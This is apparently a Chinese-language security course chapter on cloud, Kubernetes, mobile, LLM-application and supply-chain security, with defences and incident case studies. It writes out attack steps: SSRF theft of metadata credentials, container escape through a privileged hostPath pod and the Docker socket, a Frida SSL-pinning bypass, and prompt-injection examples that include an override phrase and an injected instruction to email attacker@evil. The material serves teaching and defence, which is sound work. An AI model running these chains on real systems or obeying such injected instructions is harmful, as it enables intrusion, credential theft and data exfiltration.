12.2.1 责任共担模型（Shared Responsibility）#

金句：云迁移 ≠ 安全外包，配置错误 是云事故第一死因。

12.2.2 CSA Top Threats#

1. Insecure Identities
2. Misconfiguration
3. Insecure Interfaces & APIs
4. Insufficient Logging / Monitoring
5. Supply Chain Attacks
6. Unauthorized Access
7. Data Exfiltration
8. Insider Threats

12.3.1 常见错配#

• S3：桶 ACL 为 Public Read/Write → 数据泄露。
• IAM：*:* / iam:PassRole 滥用 → 权限提升。
• EC2 Metadata v1 (IMDSv1)：SSRF → 偷 AssumeRole 凭证。
• Security Group：0.0.0.0/0 → 22/3389/3306。
• Public AMI / Snapshot：包含凭证。
• Cross-account Trust Policy：信任了陌生 Account。

12.3.2 一次典型云渗透链#

1
1. SSRF (Web)  → http://169.254.169.254/latest/meta-data/iam/security-credentials/role
2
2. 获得 STS 临时凭证
3
3. aws sts get-caller-identity
4
4. aws s3 ls / aws dynamodb list-tables
5
5. 提权：iam:PassRole + lambda:CreateFunction → 以更高角色执行代码
6
6. 持久化：创建新 IAM user + AccessKey

12.3.3 审计与攻防工具#

12.4.1 容器逃逸#

• 特权容器：--privileged → 挂载宿主 /dev、加载内核模块。
• 挂载 Docker Socket：容器内 docker run -it --rm -v /:/mnt alpine，直接访问宿主根。
• CAP_SYS_ADMIN / CAP_NET_ADMIN：可挂文件系统、抓包。
• 已知漏洞：CVE-2019-5736 (runC)、CVE-2022-0185 (fsconfig)、Dirty Pipe (CVE-2022-0847)。

12.4.2 Kubernetes 风险点#

1
API Server 匿名访问            → 接管集群
2
Kubelet 10250 未授权            → 任意 Pod exec
3
弱 RBAC（cluster-admin 滥发）   → 权限爆炸
4
挂载宿主 /proc /var/run/docker  → 容器逃逸
5
Secrets 明文（etcd 未加密）     → 泄露凭证
6
镜像仓库公开                    → Supply chain

12.4.3 工具链#

1
# 静态
2
trivy image myapp:1.0                        # 镜像漏洞
3
trivy fs ./chart                             # Helm / Dockerfile / K8s YAML
4
kube-bench run --targets master,node         # CIS Kubernetes Benchmark
5
kube-hunter --remote cluster.example.com     # 主动攻击模拟
6
checkov -f k8s.yaml                          # IaC 静态扫描
7

8
# 运行时
9
falco                                        # 内核级异常检测
10
tracee                                       # eBPF 事件追踪

12.4.4 最佳实践#

• Pod Security Standards：restricted 基线 → 拒绝 privileged、hostPath、hostNetwork。
• NetworkPolicy：默认 deny all，按需放通。
• 镜像：来源签名（cosign）+ SBOM（syft）+ 漏洞扫（trivy）。
• RBAC：cluster-admin 限人；Namespace 级隔离。
• 秘密：外部 KMS（Vault、AWS KMS、GCP KMS）+ 自动轮换。

12.5.1 Serverless 风险#

• 事件注入（Event Injection）：S3 事件、SQS 消息里埋 payload。
• 权限过度：Lambda 绑定的 Role 拥有 s3:* / dynamodb:*。
• 冷启动时间差异 → 侧信道探测。

12.5.2 IaC (Terraform / CloudFormation)#

• 工具：tfsec、checkov、kics、terrascan。
• 关键规则：禁止 0.0.0.0/0、强制加密、MFA Delete、KMS CMK。
• GitOps：每次 PR 跑 IaC 扫描 + terraform plan，阻止高危变更合入。

12.5.3 软件供应链攻击（Supply Chain）#

• SolarWinds / 3CX / xz-utils (2024) 等典型事件。
• 控制点：
  • 代码签名 / 提交签名（GPG、Sigstore）
  • SBOM（SPDX / CycloneDX）
  • 依赖 Pin + 定期升级（Dependabot / Renovate）
  • CI/CD 密钥管理、Runner 隔离
  • 镜像仓库的内容信任（Docker Content Trust / Cosign）

12.6.1 Android 威胁模型#

1
攻击面：
2
  - APK 逆向（反编译 + 重签名）
3
  - 动态注入（Frida / Xposed）
4
  - 中间人（SSL Pinning 绕过）
5
  - WebView 漏洞（addJavascriptInterface）
6
  - 组件暴露（exported Activity / Service）
7
  - 存储泄露（/data/data/<pkg> / SharedPreferences）

1
# 静态
2
apktool d app.apk                 # 反编译
3
jadx-gui app.apk                  # 查看 Java 代码
4
MobSF                             # 自动化静态/动态报告
5

6
# 动态
7
frida-server + frida -U -l hook.js com.example.app
8
objection -g com.example.app explore
9
drozer console connect
10

11
# 流量
12
mitmproxy -p 8080
13
SSL Pinning 绕过：Frida Universal Hook、Magisk + LSPosed + TrustMeAlready

12.6.2 iOS 威胁模型#

• 越狱（checkra1n / Palera1n / Dopamine）→ 可安装任意动态库。
• Frida + Hopper/IDA：动态注入 & 反汇编。
• Keychain、App Sandbox、Code Signing、Entitlements。
• 常见评估：MASVS（Mobile AppSec Verification Standard）+ MSTG。

12.8.1 OWASP LLM Top 10（2023）#

1. Prompt Injection
2. Insecure Output Handling
3. Training Data Poisoning
4. Model Denial of Service
5. Supply Chain Vulnerabilities
6. Sensitive Information Disclosure
7. Insecure Plugin Design
8. Excessive Agency
9. Overreliance
10. Model Theft

12.8.2 常见攻击#

12.8.3 LLM 应用安全清单（RAG / Agent）#

1
输入侧：
2
  [ ] 区分 system / user / tool 消息，严格模板
3
  [ ] 检测 prompt injection（如 Lakera / Rebuff / Guardrails）
4
  [ ] 对外部文档（RAG 源）打标注"untrusted"
5
执行侧：
6
  [ ] Agent 工具白名单 + 动作审批（人类在环）
7
  [ ] 工具最小权限（只读 API / 限流）
8
  [ ] 沙箱执行（Docker / WebContainer）
9
输出侧：
10
  [ ] 过滤敏感（PII / 内部路径 / 密钥）
11
  [ ] 在下游使用前严格校验（代码生成 → linter）
12
  [ ] 日志 + 审计（LangSmith / OpenTelemetry）
13
基础设施：
14
  [ ] 模型签名 / 哈希核对
15
  [ ] 向量库 ACL
16
  [ ] 速率限制 + 异常检测

12.8.4 机器学习对抗性#

• FGSM、PGD、C&W、DeepFool
• 库：cleverhans、foolbox、adversarial-robustness-toolbox (ART)
• 防御：对抗训练（Adversarial Training）、输入归一化、认证防御（Randomized Smoothing）

12.13.1 IAM Policy 语法#

1
{
2
  "Version": "2012-10-17",
3
  "Statement": [
4
    {
5
      "Sid": "AllowReadUserBucket",
6
      "Effect": "Allow",
7
      "Principal": {"AWS": "arn:aws:iam::123456789012:user/Alice"},
8
      "Action": ["s3:GetObject", "s3:ListBucket"],
9
      "Resource": [
10
        "arn:aws:s3:::user-data",
11
        "arn:aws:s3:::user-data/${aws:username}/*"
12
      ],
13
      "Condition": {
14
        "StringEquals": {"aws:PrincipalTag/Department": "engineering"},
15
        "IpAddress": {"aws:SourceIp": ["10.0.0.0/8"]},
16
        "Bool": {"aws:MultiFactorAuthPresent": "true"}
17
      }
18
    }
19
  ]
20
}

12.13.2 高危权限组合#

12.13.3 STS AssumeRole 信任链#

1
1. Alice (User) → STS AssumeRole → RoleA
2
2. RoleA → STS AssumeRole → RoleB（RoleB 信任 RoleA）
3
3. RoleB → STS GetSessionToken → 临时凭据

红队常用：找到错配的”Trust Relationship”，让自己的账号能 AssumeRole 进入受害账号。

12.13.4 防御#

• 启用 IAM Access Analyzer
• AWS Organizations + SCP 限制根账号
• CloudTrail 全开 + GuardDuty 异常检测
• 强制 MFA + Session Policy 限制时间
• 使用 Permission Boundaries 防 IAM 提权

12.14.1 配置类逃逸#

12.14.2 漏洞类逃逸#

12.14.3 检测与防御#

• Falco / Tracee：内核行为检测
• Pod Security Admission (restricted profile)
• gVisor / Kata Containers：用户态 / 微 VM 隔离
• Seccomp 默认 profile + AppArmor / SELinux profile
• 镜像签名与准入（cosign + Kyverno / OPA Gatekeeper）

12.15.1 攻击链示例#

1
1. 公开的 Kubelet 10250 → 任意 Pod exec
2
2. 在 Pod 里查 token：
3
   cat /var/run/secrets/kubernetes.io/serviceaccount/token
4
3. kubectl auth can-i --list --token=$TOKEN
5
4. 利用 RBAC 错配创建特权 Pod，挂宿主根：
6
   apiVersion: v1
7
   kind: Pod
8
   spec:
9
     hostPID: true
10
     containers:
11
       - image: alpine
12
         securityContext:
13
           privileged: true
14
         volumeMounts:
15
           - mountPath: /host
16
             name: hostroot
17
     volumes:
18
       - name: hostroot
19
         hostPath:
20
           path: /
21
5. chroot /host bash → 拿到 worker node root
22
6. 横向到其他 node、获取 etcd → 拿到所有 Secrets

12.15.2 OPA Gatekeeper / Kyverno 策略#

1
apiVersion: kyverno.io/v1
2
kind: ClusterPolicy
3
metadata:
4
  name: disallow-privileged-pods
5
spec:
6
  validationFailureAction: enforce
7
  rules:
8
    - name: privileged-containers
9
      match:
10
        any:
11
          - resources:
12
              kinds: ["Pod"]
13
      validate:
14
        message: "Privileged containers are not allowed."
15
        pattern:
16
          spec:
17
            =(securityContext):
18
              =(privileged): "false"
19
            containers:
20
              - =(securityContext):
21
                  =(privileged): "false"

12.15.3 Service Mesh 安全#

• mTLS（Istio / Linkerd / Cilium）：服务间默认加密 + 双向认证
• SPIFFE / SPIRE：Workload Identity
• Istio AuthorizationPolicy：FGA（Fine-grained Authorization）
• Cilium ClusterMesh + L7 Policy（HTTP/gRPC 级 ACL）

12.16.1 SLSA 等级（v1.0）#

1
Level 1: Build provenance generated
2
Level 2: Hosted build platform with tamper-resistant logs
3
Level 3: Source/build platform meets specific standards
4
Level 4: Two-person review + hermetic builds + reproducible

12.16.2 Sigstore 三件套#

• cosign：签名 & 验证容器镜像 / 二进制
• Fulcio：临时证书 CA（OIDC 身份 → 短证书）
• Rekor：透明日志（公开 append-only）

1
# Keyless 签名（绑定 GitHub Actions OIDC）
2
COSIGN_EXPERIMENTAL=1 cosign sign $REGISTRY/myapp:1.2.3
3
cosign verify --certificate-identity-regexp 'github.com/myorg/.*' \
4
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
5
  $REGISTRY/myapp:1.2.3

12.16.3 SBOM 生成与消费#

1
syft packages dir:. -o cyclonedx-json > sbom.json
2
grype sbom:./sbom.json
3
osv-scanner scan -r .

12.16.4 GitHub 与 SLSA 集成#

• Actions 提供 OIDC token（无 PAT 即可签）
• actions/attest-build-provenance：自动生成 SLSA L3 attestation
• 私有镜像仓库（GHCR / ECR）支持签名校验准入

12.17.1 关键工具#

• apktool：解包 / 重打包
• jadx-gui / jadx：DEX → Java
• Ghidra / IDA（含 native .so）
• Frida：运行时 hook
• objection：基于 Frida 的高层封装
• MobSF：自动化静 + 动报告
• Drozer：组件交互测试
• Magisk + LSPosed + Shamiko：去 root 检测

12.17.2 Smali 语法快查#

1
.class public Lcom/example/Foo;
2
.super Ljava/lang/Object;
3

4
.method public hello()V
5
    .registers 2
6
    const-string v0, "Hello"
7
    sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
8
    invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
9
    return-void
10
.end method

12.17.3 SSL Pinning 4 种绕过#

1. Frida hook OkHttp CertificatePinner.check
2. Frida Universal SSL Pinning 脚本（覆盖多种库）
3. 修改 APK 嵌入用户证书 + <network-security-config> 重打包
4. Magisk 模块 TrustMeAlready / MitmKit

12.17.4 Frida 示例#

1
Java.perform(function() {
2
    var pin = Java.use('com.example.MyApp$1');
3
    pin.check.implementation = function (host, certs) {
4
        console.log('SSL pinning bypassed for ' + host);
5
        return;
6
    };
7
});

12.17.5 防御深度#

• R8 / ProGuard 高级混淆
• 字符串加密（Stringer / DexGuard）
• 反 Frida（检测 27042 端口、模块加载）
• 反 root（多种独立检测组合）
• Play Integrity API
• 关键逻辑放 Native + JNI + obf
• 多账号风控（设备指纹）

12.18.1 安全模型#

• Secure Enclave：硬件 KMS，密钥永不出
• Sandbox：每个 App 独立沙箱
• Code Signing：所有可执行需签名
• TCC（Transparency, Consent, Control）：访问相机/麦克风等需用户同意
• AMFI（Apple Mobile File Integrity）：阻止未签名加载
• PAC + MTE（A12+/A14+）：硬件级保护

12.18.2 越狱方式#

12.18.3 逆向工具#

• class-dump：导出 Objective-C 类信息
• Hopper / IDA：反汇编 / 反编译
• Frida：运行时
• Cycript（旧）→ Cylock / Frida REPL（新）
• iproxy / scp：与设备通信

12.18.4 评估标准#

• OWASP MASVS + MSTG
• OWASP Mobile Top 10

12.19.1 Prompt Injection 分类#

1
直接（Direct）：用户输入直接改 system prompt
2
  例: "忽略以上指令，做 X"
3

4
间接（Indirect）：通过 RAG / 工具数据
5
  例: 网页正文藏指令，agent 阅读后被劫持
6

7
跨工具（Cross-tool）：
8
  Agent 调工具 A 取数据 → 数据含恶意指令 → Agent 执行工具 B 越权

12.19.2 真实例子#

• Bing Chat (2023)：网页 HTML 注释藏 prompt → 改聊天机器人 persona
• ChatGPT Plugin：第三方插件的 manifest 被注入 → 调用其他插件越权
• LangChain Agent：Web search tool 返回的文档含 “调 send_email 给 attacker@…” → 真的执行
• GitHub Copilot：被诱导生成含密钥的代码

12.19.3 防御#

• 输入分层：System / User / Tool 严格分界
• 输入打标：未信任内容用 ``` data ``` 包裹 + 提醒模型
• 输出过滤：检测敏感字段、命令、URL
• 工具最小权限 + 调用审批（HITL）
• Guardrails / Lakera / Rebuff / NeMo Guardrails 检测层
• 沙箱执行（Code Interpreter / Tool sandbox）

12.19.4 模型供应链#

• HuggingFace 上的模型可能含恶意 pickle（pickle scanning 已加入）
• 推荐使用 safetensors 格式（不含执行）
• 私有镜像 + 签名 + 哈希核对

12.19.5 Agent 安全#

• “Excessive Agency”：Agent 拥有过多工具 / 过宽权限
• 最小工具集 + 单步审批 + 操作日志 + 可撤销
• 跨 Session 记忆需明确隔离

12.20.1 FGSM (Fast Gradient Sign Method)#

1
x_adv = x + ε · sign(∇_x J(θ, x, y))

最简单的一步攻击：沿损失梯度方向加 ε 大小扰动。

12.20.2 PGD (Projected Gradient Descent)#

1
x_{t+1} = Π_S (x_t + α · sign(∇_x J(θ, x_t, y)))

多步迭代 + 投影到 ε-球；当前最强一阶攻击代表。

12.20.3 C&W (Carlini-Wagner)#

1
min ||δ||_p + c · f(x + δ)

最小化扰动 + 误分类损失，难度高但效果强。

12.20.4 防御#

• 对抗训练（Adversarial Training）
• 输入归一化 / 特征压缩
• 认证防御（Randomized Smoothing）
• 对抗检测（用判别器识别对抗样本）

12.20.5 其他场景#

• 视觉（Stop sign 加贴纸 → 被识别为 Speed Limit）
• 语音（Cocktail Party 对抗噪声 → 把 hello 识别为 admin）
• 文本（同义词替换让分类反转）
• 物理对抗（穿带特定图案的 T 恤躲行人识别）

12.21.1 常见漏洞#

12.21.2 工具#

• Slither：静态分析
• Mythril：符号执行
• Echidna：fuzzing
• Foundry / Hardhat：测试框架
• Tenderly：交易模拟

12.21.3 安全实践#

• 用 OpenZeppelin 标准库（避免自实现 ERC20 / ERC721）
• Checks-Effects-Interactions 模式
• 重入锁（ReentrancyGuard）
• 审计 + Bug Bounty + 渐进式上线
• 多签 + Timelock + 紧急暂停

12.22.1 时间表#

• 2024：NIST 选定 ML-KEM (Kyber)、ML-DSA (Dilithium)、SLH-DSA (SPHINCS+) 标准
• 2030 前后：预期量子计算机能威胁 RSA-2048
• 美国 OMB M-22-09：联邦机构 2035 年前完成 PQC 迁移

12.22.2 迁移路径#

1
当前混合：
2
  TLS 1.3 + X25519Kyber768 (Cloudflare、Chrome 已支持)
3
  SSH PQC 实验
4

5
中长期：
6
  完全替换 RSA / ECDSA → ML-DSA / SLH-DSA
7
  库支持：openssl 3.x + oqs-provider, BoringSSL 实验
8

9
挑战：
10
  - 密钥 / 签名体积大 (Kyber-768 公钥 1184B, ML-DSA-65 签名 3293B)
11
  - 老旧设备 / IoT 难升级
12
  - "Harvest now, decrypt later" 攻击 → 现在加密的数据未来可能被破

12.22.3 库支持#

• Open Quantum Safe (liboqs)
• Botan PQ
• AWS / Azure / Google 混合 KEM 试点

12.23.1 同态加密#

• Paillier：加法同态，简单（详见 Ch04）
• BFV / BGV：整数全同态
• CKKS：浮点近似同态（适合 ML）
• TFHE：门级 + 自举

应用：联邦学习中的安全聚合、加密数据库查询。

12.23.2 安全多方计算 (MPC)#

• Yao Garbled Circuit：两方混淆电路
• GMW / BGW：多方秘密分享
• SPDZ：恶意安全
• 应用：跨企业反欺诈联合查询、隐私 ID 求交（PSI）

12.23.3 TEE（可信执行环境）#

应用：机密计算云（Azure Confidential、AWS Nitro Enclave）。

12.23.4 联邦学习#

• FedAvg / FedProx：参数平均
• 风险：Deep Leakage from Gradients（梯度反推训练数据）
• 加固：差分隐私 (DP-SGD) + 安全聚合 (Secure Aggregation)

12.24.1 NIST SP 800-207 七要素#

1. 所有数据源 / 计算服务都视为资源
2. 所有通信加密、不论位置
3. 单次会话授权
4. 动态策略（设备状态 / 行为 / 环境）
5. 持续监控完整性
6. 严格认证 / 授权
7. 收集尽量多日志，持续改进

12.24.2 BeyondCorp 模式#

• 用户 + 设备 + 上下文 = 信任度
• 每次请求都过身份代理（Identity Aware Proxy）
• 不再依赖 VPN / “内网”概念

12.24.3 实施落地#

1
Step 1: 资产清单 + 用户身份基线
2
Step 2: 部署 SSO + MFA + 设备健康检查
3
Step 3: 每个应用前置 Identity Aware Proxy（Cloudflare / Zscaler / Pomerium / Google IAP）
4
Step 4: 微分段（NetworkPolicy / Service Mesh）
5
Step 5: 行为分析 + 风险评分
6
Step 6: 持续度量 + 演练

12.24.4 国内零信任方案#

• 360 ZTBS
• 腾讯 iOA
• 阿里云 ZeroTrust
• 奇安信 / 深信服 SDP

12.25.1 Capital One (2019)#

1
SSRF 漏洞 in WAF (ModSecurity)
2
  → http://169.254.169.254/iam/security-credentials/
3
  → 拿到 IAM 临时凭证（Role: WAF-Role）
4
  → 该 Role 拥有 700+ S3 桶读权限
5
  → 下载 1 亿用户数据
6
  → 攻击者发推炫耀 → 被 FBI 抓

教训：IMDSv2 强制、最小权限、SSRF 内部路径白名单、CloudTrail GuardDuty 实时告警。

12.25.2 Codecov (2021)#

1
Codecov bash uploader 镜像被植入恶意代码
2
  → 被 GitHub Actions 大量使用
3
  → 收集 2 个月构建环境变量（含 secrets）
4
  → 上游下游连锁影响

教训：CI 工具供应链、Sigstore 签名、Secrets Rotation。

12.25.3 Microsoft Azure / Storm-0558 (2023)#

1
攻击者通过 Microsoft 工程师调试 dump 拿到一个签名密钥
2
  → 伪造 OpenID 令牌
3
  → 进入 25+ 政府 / 企业 Outlook / Exchange Online

教训：密钥分级 / 隔离、自动轮换、调试 dump 严格清理、零信任跨租户。

参考答案要点#

5. aws lambda create-function --role <higher-privileged-role> → 函数代码内运行 aws iam create-user。
6. RAG 文档藏 “调 sendMail tool 给 attacker@evil”；防御：检测注入字符串 + Tool 调用审批。

教材#

• 《Hands-On Cloud Security with Microsoft Azure / AWS》
• 《Container Security》Liz Rice
• 《Kubernetes Security》Liz Rice
• 《Mobile Application Hacker’s Handbook》
• 《Adversarial Machine Learning》Anthony Joseph
• 《Building Secure and Reliable Systems》Google SRE 团队

标准 / 框架#

• CSA Cloud Controls Matrix (CCM)
• NIST SP 800-204 / 800-207 / 800-218
• CIS Kubernetes / Docker / AWS Benchmarks
• OWASP MASVS / MSTG / LLM Top 10
• SLSA / in-toto / SPDX / CycloneDX

平台 / 资源#

• AWS Security Hub / GuardDuty 文档
• Azure Sentinel / Defender 文档
• HackTricks Cloud：https://cloud.hacktricks.xyz/
• Cloud Security Alliance 年度报告
• Snyk State of Cloud Native Security

课程 / 认证#

• AWS Certified Security – Specialty
• Microsoft AZ-500
• GCP Professional Cloud Security Engineer
• CKS（Certified Kubernetes Security Specialist）
• CCSP（ISC²）/ CCSK（CSA）
• OffSec EXP-401（高级）

与其他章节的接口#

• ← Ch01-Ch11：所有传统安全基础在云 / 移动 / AI 场景的延伸
• 跨章主题：身份（Ch08 + Ch12）、加密（Ch04 + Ch12）、检测（Ch11 + Ch12）

学习节奏（12 周）#

• W1-2：搭 LocalStack / minikube，熟悉 IaC 与基础工具链
• W3-4：完整 AWS 攻防（Pacu / CloudFox / Prowler）
• W5-6：K8s 攻防 + Falco / Tetragon
• W7-8：Android 逆向 / iOS 越狱基础
• W9-10：LLM 安全 + 一个 Agent PoC + 防御
• W11：PQC + 隐私计算调研
• W12：零信任落地 / 紫队演练 + 写一篇综述

终极心态#

• “新技术的安全 = 旧问题的新场景 + 几个新陷阱”
• 永远关注：身份、配置、最小权限、可观测性
• 拥抱不确定性：AI / 量子 / Web3 都还在快速演化，方法论比工具更值钱

全部十二章到此结束。接下来请进入 projects/ 开始真正的动手练习。 记住：读百遍，不如亲手攻一次、亲手防一次。

安全是一场马拉松，不是百米冲刺。希望这十二章成为你长期学习的地图与脚手架。

复盘检查表#

• 我能用 Pacu / CloudFox 演示一次完整 AWS 提权链
• 我能写 Kyverno / OPA 策略并对真实集群落地
• 我能用 cosign / syft / grype 完成一条最小供应链流水线
• 我能 Frida hook Android App 并绕过 SSL Pinning
• 我能给一个 LLM Agent 写威胁建模 + Guardrails 草案
• 我能解释 PQC 标准与混合 KEM 的迁移意义
• 我能给公司写一份零信任落地路线图（3 阶段）
• 我能识别 Capital One / Codecov / Storm-0558 中的关键防御缺口

如全部勾上”是”，恭喜你已经具备云 / 移动 / AI 三位一体安全工程师的基础能力。 继续在某个细分方向（云安全 / 移动逆向 / AI 安全）深耕 2-3 年，可成长为该领域专家。